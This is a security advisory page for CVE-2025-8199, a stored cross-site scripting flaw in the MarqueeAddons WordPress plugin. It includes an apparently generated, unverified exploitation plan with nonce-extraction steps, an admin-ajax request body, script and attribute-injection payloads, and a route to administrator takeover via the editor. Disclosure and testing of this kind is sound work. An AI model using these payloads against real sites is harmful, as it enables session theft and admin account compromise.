CVE-2025-8199

MarqueeAddons <= 2.4.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Testimonial Marquee Widget

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.0.0
Patched in
1d
Time to patch

Description

The MarqueeAddons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Testimonial Marquee widget in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.4.3
PublishedDecember 12, 2025
Last updatedDecember 13, 2025

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-8199 ## 1. Vulnerability Summary The **MarqueeAddons for Elementor** plugin (versions <= 2.4.3) contains a stored Cross-Site Scripting (XSS) vulnerability within its **Testimonial Marquee** widget. The vulnerability arises because the plugin fails to sanitize …

Show full research plan

Exploitation Research Plan: CVE-2025-8199

1. Vulnerability Summary

The MarqueeAddons for Elementor plugin (versions <= 2.4.3) contains a stored Cross-Site Scripting (XSS) vulnerability within its Testimonial Marquee widget. The vulnerability arises because the plugin fails to sanitize or escape user-supplied attributes (settings) before rendering them on the page. An authenticated attacker with Contributor-level permissions or higher can inject malicious scripts into a post or page using this widget. When a victim (including an administrator) views the affected page, the script executes in their browser context.

2. Attack Vector Analysis

  • Endpoint: Elementor Page Editor / WordPress REST API or AJAX (admin-ajax.php).
  • Action: elementor_ajax (used by Elementor to save widget settings).
  • Vulnerable Widget: Testimonial Marquee (slug inferred: marquee-addons-testimonial-marquee).
  • Vulnerable Parameters: Attributes/Settings within the widget's repeater fields (e.g., testimonial_name, testimonial_content, or testimonial_designation).
  • Authentication: Authenticated, Contributor+.
  • Preconditions: The plugin must be active, and the attacker must have the ability to edit a post/page using the Elementor editor.

3. Code Flow (Inferred)

  1. Entry Point: An authenticated user opens a post in the Elementor editor.
  2. Data Submission: The user adds a "Testimonial Marquee" widget and enters data into the settings fields.
  3. Storage: Elementor sends an AJAX request (action=elementor_ajax) to save the page content. The widget settings are stored as a JSON-encoded string in the _elementor_data post meta.
  4. Widget Rendering: When the post is viewed, the plugin's widget class (likely extending \Elementor\Widget_Base) calls its render() method.
  5. Sink: The render() method retrieves the settings using $this->get_settings_for_display(). It then echoes the values (e.g., testimonial_name) directly into the HTML output without using WordPress escaping functions like esc_html() or wp_kses().

4. Nonce Acquisition Strategy

Elementor requires specific nonces to save data. Since the attacker must be a Contributor, they can access the Elementor editor for a post they own.

  1. Create a Post: Use WP-CLI to create a post for the Contributor:
    wp post create --post_type=post --post_status=draft --post_title="XSS Test" --post_author=CONTRIBUTOR_ID
  2. Navigate to Editor: Use browser_navigate to the Elementor editor URL for that post:
    http://localhost:8080/wp-admin/post.php?post=POST_ID&action=elementor
  3. Extract Nonces: Use browser_eval to extract the necessary nonces from the elementorConfig object:
    • Editor Nonce: window.elementorConfig?.nonces?.editor_post
    • Generic Nonce: window.elementorConfig?.nonces?.wp_rest (if using REST API)
  4. Alternative: The _wpnonce found in the post edit screen is often sufficient for admin-ajax.php requests.

5. Exploitation Strategy

The goal is to update the _elementor_data post meta with a malicious JSON structure.

Step 1: Identify Widget Structure

The exact setting names need to be confirmed. Common setting names for testimonial widgets are name, content, or designation.

  • Draft Payload (Inferred):
    [
      {
        "id": "unique_id",
        "elType": "widget",
        "widgetType": "marquee-addons-testimonial-marquee",
        "settings": {
          "testimonials": [
            {
              "testimonial_name": "<script>alert(document.domain)</script>",
              "testimonial_content": "This is a test"
            }
          ]
        }
      }
    ]
    

Step 2: Submit the Malicious Data

Use the http_request tool to simulate the Elementor save action.

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=elementor_ajax
    &_nonce=[EDITOR_NONCE]
    &actions={"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[MALICIOUS_JSON_ARRAY]}}}
    &post_id=[POST_ID]
    

Step 3: Trigger the XSS

Navigate to the public URL of the post: http://localhost:8080/?p=[POST_ID].

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Post: Create a post as the contributor.
  3. Elementor: Ensure Elementor is enabled for the 'post' post type.

7. Expected Results

  • The admin-ajax.php request should return a 200 OK with a JSON response indicating success ("success": true).
  • When viewing the post, an alert box showing the document domain should appear.
  • In the page source, the script tag should be rendered unescaped within the marquee widget's HTML container.

8. Verification Steps

  1. Check Database: Use WP-CLI to inspect the stored meta:
    wp post meta get [POST_ID] _elementor_data
  2. Verify Script Presence: Check if the payload is present in the output:
    curl -s "http://localhost:8080/?p=[POST_ID]" | grep "<script>alert"

9. Alternative Approaches

  • Attribute Injection: If <script> is filtered, try attribute-based XSS:
    "testimonial_name": "John Doe\" onmouseover=\"alert(1)\" data-dummy=\""
  • Style Injection: If the widget allows custom colors or CSS, try breaking out of a style attribute:
    "color_setting": "red; background-image: url('javascript:alert(1)')"
  • Editor XSS: Test if the XSS fires within the Elementor editor itself, which could lead to Administrator account takeover if an admin edits the malicious post. This can be tested by injecting the payload and having the admin user open the editor.
Research Findings
Static analysis — not yet PoC-verified

Summary

The MarqueeAddons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Testimonial Marquee widget in versions up to 2.4.3. This occurs because the plugin fails to properly sanitize and escape user-supplied attributes, allowing authenticated attackers with Contributor-level permissions or higher to inject malicious scripts into pages.

Exploit Outline

An authenticated attacker with Contributor-level access or higher can exploit this by editing a post using the Elementor editor and adding the 'Testimonial Marquee' widget. By injecting a JavaScript payload (e.g., <script>alert(document.domain)</script>) into widget settings such as 'testimonial_name', 'testimonial_content', or 'testimonial_designation', the payload is saved via the 'elementor_ajax' endpoint. The malicious script is then executed in the context of any user's browser, including administrators, when they view the page containing the widget.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.